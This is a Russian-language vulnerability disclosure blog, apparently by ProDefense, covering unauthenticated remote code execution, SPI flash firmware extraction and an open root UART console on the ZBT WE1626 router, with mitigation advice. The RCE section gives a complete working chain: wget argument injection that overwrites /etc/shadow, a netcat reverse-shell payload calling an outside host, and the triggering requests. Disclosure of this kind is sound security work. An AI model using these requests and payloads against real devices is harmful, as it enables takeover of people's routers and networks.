Обзор

Добро пожаловать в блог о раскрытии CVE беспроводного маршрутизатора ZBT WE1626! В этом блоге мы обсудим последние уязвимости, обнаруженные в беспроводном маршрутизаторе ZBT WE1626. В частности, мы рассмотрим три выявленные уязвимости:

  1. Удаленное выполнение кода без проверки подлинности: эта уязвимость позволяет злоумышленнику выполнять произвольный код на маршрутизаторе без проверки подлинности. Это означает, что злоумышленник может удаленно получить контроль над маршрутизатором и выполнять различные вредоносные действия, включая кражу конфиденциальной информации или запуск новых атак.
  2. Недостаточная защита интерфейса отладки: эта уязвимость позволяет злоумышленнику получить доступ к интерфейсу отладки маршрутизатора, который можно использовать для обхода средств контроля безопасности и проведения атак, которые в противном случае были бы предотвращены. Эта уязвимость особенно опасна, поскольку ее можно использовать, даже если злоумышленник не имеет физического доступа к маршрутизатору.
  3. Недостаточная защита интерфейса UART: эта уязвимость позволяет злоумышленнику получить доступ к интерфейсу UART маршрутизатора, который можно использовать для извлечения конфиденциальной информации или изменения конфигурации маршрутизатора. Эта уязвимость особенно опасна, поскольку ее можно использовать, даже если злоумышленник не имеет физического доступа к маршрутизатору.

В этом блоге мы предоставим обзор каждой из этих уязвимостей, включая их потенциальное влияние и шаги, которые можно предпринять для их устранения. Мы также предоставим рекомендации для пользователей беспроводного маршрутизатора ZBT WE1626 о том, как защитить себя от этих уязвимостей.

Удаленное выполнение кода без проверки подлинности

Определение

Удаленное выполнение кода, также известное как выполнение произвольного кода, представляет собой концепцию, описывающую форму кибератаки, при которой злоумышленник может единолично управлять работой вычислительного устройства или сервера другого человека.

Описание CVE

Команда ProDefense обнаружила конечную точку на маршрутизаторе ZBT WE1626, которую может использовать злоумышленник, не прошедший проверку подлинности, для выполнения команды WGET в локальной системе.

Получив доступ к устройству с использованием административных учетных данных по умолчанию, команда обнаружила, что веб-приложение поддерживает функцию диагностики сети. Это позволяет пользователям отправлять в систему такие команды, как Ping, traceroute, NSLookup и WGET, как показано на следующем снимке экрана:

Команда зафиксировала запрос при нажатии кнопки отправки, удалила все ключи аутентификации и токены из исходного запроса и повторно отправила его. Команда обнаружила, что эта конечная точка для операции test_wget не требует аутентификации пользователя на маршрутизаторе.

Запрос

GET /cgi-bin/webapi?op=test_wget&host=localhost/index.html&ipversion=4 HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.1/

Ответ

HTTP/1.1 200 OK
Connection: close
Content-type: text/html
Access-Control-Allow-Origin: *
Content-type: application/json
Content-Length: 279
{ "code": "1", "reason": "wget ipv4 test success", 
"data": "Downloading http://localhost/index.html'
Connecting to 127.0.0.1:80
Writing to '\/dev\/null'\n\r\/dev\/null 
100% |*******************************| 4694 0:00:00 ETA\nDownload completed (4694 bytes)" }

Как указано в вышеупомянутом запросе, веб-приложение, работающее на маршрутизаторе ZBT WE1626, позволяет пользователям, не прошедшим проверку подлинности, отправлять запросы в веб-API.

Впоследствии команда ProDefense провела проверку исходного кода маршрутизатора ZBT WE1626, извлекая данные из флэш-чипа. В процессе проверки исходного кода команда обнаружила, что веб-приложение маршрутизатора проверяет аутентификацию через локальную файловую систему.

Основной пользователь веб-приложения обозначается как «root», а пароль проверяется двоичным файлом «passchk», как показано в следующем фрагменте кода:

op=$FORM_op
if [ "$op" == "login" ];then
 username="$FORM_username"
 password="$FORM_password"
 (passchk "$username" "$password")
 if [ "$?" != "0" ]; then
 json_init
 json_add_string code "-4"
 json_add_string reason "check passwork fail: username or password invalid"
 echo -n "$(json_dump)"
 return
 fi
 token="$(generate_token)"
 wifi_type="$(my_uci_get anyos.wifi.wifi_type)"
 json_init
 json_add_string code "1"
 json_add_string reason "success"
 json_add_string access_token "$token"
 json_add_string wifi_type "$wifi_type"
 echo -n "$(json_dump)"
fi

Принимая это во внимание, команда ProDefense разработала полезную нагрузку для перезаписи файла /etc/shadow на маршрутизаторе, что позволило им изменить пароль администратора для веб-приложения. Для достижения этой цели команда установила временный экземпляр AWS EC2 и разместила назначенную полезную нагрузку через базовый веб-сервер Python, работающий на порту 80.

Полезная нагрузка

root:$1$G4IbPqIv$D3EjRZAocaPQCZYIxh3350:19309:0:99999:7:::
anywifi:$1$cIlJAfeI$yOK2PILQg0Qy88F/ZcR4Q/:16577:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
mosquitto:x:0:0:99999:7:::

Приведенная выше полезная нагрузка представляет собой замещающий файл для каталога /etc/shadow, который изменит пароль для пользователя root на «password».

После этого команда отправила запрос, используя операцию WGET, чтобы получить нашу полезную нагрузку, размещенную по адресу http://pwn.prodefense.io/payload, и впоследствии направила вывод WGET в файловую систему /etc/shadow.

Запрос

GET /cgi-bin/webapi?op=test_wget&host=pwn.prodefense.io/payload -O /etc/shadow&ipversion=4 HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.1/

Ответ

HTTP/1.1 200 OK
Connection: close
Content-type: text/html
Access-Control-Allow-Origin: *
Content-type: application/json
Content-Length: 289
{ "code": "1", "reason": "wget ipv4 test success", "data": "Downloading 'http:\/\/pwn.prodefense.io\/payload'\nConnecting to 52.53.243.191:80\nWriting to '\/etc\/shadow'\n\r\/etc\/shadow 100% |*******************************| 267 0:00:00 ETA\nDownload completed (267 bytes)" }

Как видно из вышеупомянутого ответа, команда смогла успешно перезаписать файл /etc/shadow и впоследствии без проблем получить доступ к веб-приложению.

Запрос

GET /cgi-bin/webapi?op=login&username=root&password=password&t=2022–11–13T17:14:34.102Z HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.1/

Ответ

HTTP/1.1 200 OK
Connection: close
Content-type: text/html
Access-Control-Allow-Origin: *
Content-type: application/json
Content-Length: 106
{ "code": "1", "reason": "success", "access_token": "9d10b43dbbd45ee052632d5d44e3cf03", "wifi_type": "2" }

При входе в веб-приложение пользователю предоставляется access_token, который хранится в системе.

Во время изучения исходного кода устройства команда обнаружила, что файл .sh выполняется внутри функции set_4g(). Однако важно отметить, что эта функция проверяет действительность access_token.

set_4g(){
 body="$FORM_body"
 access_token="$FORM_access_token"
 json_load "$body"
 …omitted for brevity…
 check_token "$access_token"
 if [ "$?" != "0" ]; then
 json_init
 json_add_string code "-1"
 json_add_string reason "check access_token err"
 echo -n "$(json_dump)"
 return
 fi
 json_init
 json_add_string code "1"
 json_add_string reason "set 4g config success"
 echo -n "$(json_dump)"
 ifdown "$module_section" &
 /usr/sbin/anywifi/start_4g_entry.sh &
}

Чтобы получить уязвимость удаленного выполнения кода без проверки подлинности, команда воспользовалась уязвимостью записи произвольного файла, перезаписав файл start_4g_entry.sh полезной нагрузкой обратной оболочки.

Полезная нагрузка

#!/bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc pwn.prodefense.io 80 >/tmp/f

Назначенная полезная нагрузка, размещенная по адресу http://pwn.prodefense.io:81/payload, функционирует путем выполнения обратной оболочки обратно на порт 80.

Чтобы перезаписать файл start_4g_entry.sh полезной нагрузкой обратной оболочки, команда отправила следующий запрос:

Запрос

GET /cgi-bin/webapi?op=test_wget&host=pwn.prodefense.io/payload -O/usr/sbin/anywifi/start_4g_entry.sh&ipversion=4 HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.2.1/

Ответ

HTTP/1.1 200 OK
Connection: close
Content-type: text/html
Access-Control-Allow-Origin: *
Content-type: application/json
Content-Length: 317
{ "code": "1", "reason": "wget ipv4 test success", "data": "Downloading 'http:\/\/pwn.prodefense.io\/payload'\nConnecting to 52.53.243.191:80\nWriting to '\/usr\/sbin\/anywifi\/start_4g_entry.sh'\n\r\/usr\/sbin\/anywifi\/st 100% |*******************************| 406 0:00:00 ETA\nDownload completed (406 bytes)" }

Последним шагом к получению обратной оболочки является активация функции set_4g(), чтобы инициировать полезную нагрузку обратной оболочки.

Для этого команда выпустила следующий запрос:

Запрос

GET /cgi-bin/webapi?op=set_4g&access_token=9d10b43dbbd45ee052632d5d44e3cf03&t=2022–11–13T17:18:44.659Z HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.1/

* Примечание: access_token был получен при входе в веб-приложение.

Ответ

HTTP/1.1 200 OK
Connection: close
Content-type: text/html
Access-Control-Allow-Origin: *
Content-type: application/json
Content-Length: 50
{ "code": "1", "reason": "set 4g config success" }

Установив соединение с портом 80 через свой экземпляр EC2, команда смогла получить обратную оболочку от имени пользователя root.

Рекомендации

  1. Регулярно обновляйте прошивку и программное обеспечение устройства, чтобы устранить все известные уязвимости.
  2. Отключите все ненужные службы или порты на устройстве, чтобы минимизировать поверхность атаки.
  3. Соблюдайте правила безопасного кодирования и регулярно выполняйте проверки кода, чтобы выявлять и устранять любые потенциальные проблемы безопасности в веб-приложениях.
  4. Используйте надлежащие механизмы контроля доступа, чтобы ограничить доступ к конфиденциальным системным файлам и каталогам.

Недостаточная защита интерфейса отладки

Определение

Устройства часто включают в себя интерфейсы, обеспечивающие доступ к консолям или прямой доступ к процессору и памяти устройства. Из-за чувствительного характера этих интерфейсов производители могут реализовывать схемы защиты, которые разрешают интерфейсы отладки только при определенных обстоятельствах. Если злоумышленник может легко выяснить схему или определить способ полного ее обхода, у него будет доступ к функциям отладки, которые могут позволить им скомпрометировать устройство.

Описание CVE

Уязвимость Insecure Permissions в Shenzhen Zhibotong Electronics ZBT WE1626 Router v21.06.18 позволяет злоумышленникам получать конфиденциальную информацию через интерфейс шины SPI, подключенный к распиновке флэш-памяти устройства. Кроме того, в прошивке устройства не выполняется проверка подписи, что позволяет злоумышленнику повторно развернуть прошивку с включенным бэкдором.

Вектор атаки

Чтобы воспользоваться этой уязвимостью, злоумышленнику потребуется использовать интерфейсное устройство шины SPI и подключить его к распиновке флэш-памяти NAND. Подключите правильные контакты шины SPI, идентифицируя контакты VSS, GND, MISO, MOSI, CS и CLK флэш-памяти ZBT WE1626.

Обратите внимание на серийный номер флэш-памяти Winbond, который был обнаружен при разборке и разведке оборудования.

В Linux команда flashrom — это утилита, которая позволяет пользователям читать, записывать и проверять прошивку на различных устройствах флэш-памяти. flashrom использовался для извлечения прошивки из флеш-памяти этого устройства путем чтения содержимого чипа и записи их в файл. Для использования flashrom необходимо сначала идентифицировать микросхему флэш-памяти на устройстве и определить ее распиновку. Затем, при правильном подключении и настройке, можно запустить flashrom для чтения и извлечения прошивки из чипа.

Прошивка не была зашифрована, и вся информация о файловой системе не была защищена паролем или другими мерами безопасности. Это позволяет любому, у кого есть доступ к прошивке, просматривать конфиденциальные файлы, такие как /etc/shadow и /etc/passwd, в открытом виде. Это серьезный риск для безопасности, поскольку эти файлы содержат конфиденциальную информацию, такую ​​как пароли пользователей, и могут быть использованы злоумышленниками для получения несанкционированного доступа к системе.

Рекомендации

Настоятельно рекомендуется использовать безопасный маршрутизатор, который соответствует передовым методам проверки прошивки и шифрования, чтобы обеспечить защиту вашей сети и данных. Маршрутизаторы с такими уязвимостями, как незашифрованное извлечение встроенного ПО и отсутствие проверки подписи встроенного ПО, могут быть легко скомпрометированы злоумышленниками, что приведет к нарушениям безопасности и потенциальной потере данных. Поэтому при выборе маршрутизатора для домашней или деловой сети крайне важно уделять первоочередное внимание безопасности.

Недостаточная защита интерфейса UART

Определение

Устройства часто включают в себя интерфейсы, обеспечивающие доступ к консолям или прямой доступ к процессору и памяти устройства. Из-за чувствительного характера этих интерфейсов производители могут реализовывать схемы защиты, которые разрешают интерфейсы отладки только при определенных обстоятельствах. Если злоумышленник может легко выяснить схему или определить способ полного ее обхода, у него будет доступ к функциям отладки, которые могут позволить им скомпрометировать устройство.

Описание CVE

Чтобы воспользоваться этой уязвимостью, злоумышленнику потребуется использовать последовательный адаптер UART для подключения к портам UART устройства (TX, RX и GND) со скоростью передачи 115200 бит в секунду с помощью команды типа экран.

После подключения включение устройства предоставит оболочку командной строки в качестве пользователя root с помощью команды экрана прослушивания. Обратите внимание на следующую настройку устройства и выходные данные ниже.

Чтобы подключить FTDI Friend к портам UART маршрутизатора ZBT, начните с идентификации контактов TX (передача) и RX (прием) на обоих устройствах. Затем подключите контакт TX FTDI Friend к контакту RX маршрутизатора ZBT, а контакт RX FTDI Friend к контакту TX маршрутизатора ZBT. Важно отметить, что при соединении устройств друг с другом через UART биты TX и RX могут быть инвертированы, что означает, что вывод передачи на одном устройстве должен быть подключен к выводу приема на другом устройстве, и наоборот. Это может варьироваться в зависимости от конкретных подключаемых устройств, поэтому важно проверить документацию и схемы выводов, прежде чем соединять их вместе.

Команда обнаружила, что устройство обеспечивает полный доступ к системе и может выполнять любые действия, включая выполнение кода с повышенными привилегиями. В этом случае uid и gid (идентификатор пользователя и идентификатор группы) были установлены как root, что является учетной записью суперпользователя в операционных системах на базе Linux. Это позволяло пользователю выполнять код с полными привилегиями и потенциально получать доступ к конфиденциальным системным файлам и данным. Обнаружение устройства с правами суперпользователя и повышенными привилегиями может указывать на серьезную уязвимость системы безопасности, и важно предпринять немедленные действия для снижения риска и предотвращения несанкционированного доступа.

Рекомендации

  1. Отключить неиспользуемые интерфейсы: Отключите неиспользуемые интерфейсы, включая интерфейс UART, если они не нужны для работы. Это может уменьшить количество потенциальных поверхностей атаки и ограничить способы, которыми злоумышленник может использовать устройство.
  2. Внедрите механизмы безопасной загрузки. Внедрите механизмы безопасной загрузки, чтобы на устройство загружалась только доверенная прошивка.

Рекомендации